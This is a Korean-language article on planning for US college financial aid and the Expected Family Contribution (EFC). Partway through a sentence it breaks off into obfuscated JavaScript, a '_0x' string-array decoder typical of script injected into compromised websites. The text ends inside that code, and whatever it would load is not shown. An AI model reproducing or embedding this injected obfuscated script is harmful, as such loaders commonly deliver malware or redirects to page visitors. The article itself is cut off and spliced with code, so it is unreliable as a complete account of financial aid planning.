성공적인 재정보조를 위한 재정플랜
대학진학 시 반드시 필요한 재정보조지원을 보다 효율적으로 진행하려면 학부모들의 기본적인 사고방식의 전환과 사전설계가 필요하다. 재정보조의 신청은 자녀가 대학에 진학하는 해보다 2년전의 수입과 현재의 자산내역을 가지고 재정보조 신청을 진행하므로 재정보조에 따른 사전설계와 현 상황을 우선점검해보는 지혜가 필수적인 절차라고 해도 과언이 아니다. 과연 재정보조신청을 잘 마치는 것이 중요한 일이겠지만 실질적으로 재정보조를 더욱 잘 받으려면 무엇보다 이에 대한 올바른 이해와 진행방식의 효율성이 반드시 요구된다고 볼 수 있다. 자녀들의 성공이 대학진학을 통해 좌우된다고 해도 과언이 아니며 이러한 부모들의 바램은 언제나 한결같았다. 따라서, 재정보조지원을 잘 받으려면 무엇보다 가정분담금(EFC)에 대한 이해가 반드시 선결되어야 한다.
가정분담금이란 해당 가정의 학생과 부모의 수입 및 자산을 기준해서 자녀가 대학에서 재정보조금을 받기에 앞서 얼마나 직접 가정형편에 따라 우선적으로 분담해야 할지를 말해주는 척도이다. 자녀들의 수입과 자산에 적용되는 가정분담금의 계산방식과 부모의 적용 계산되는 방식은 다르다. 따라서, 이러한 function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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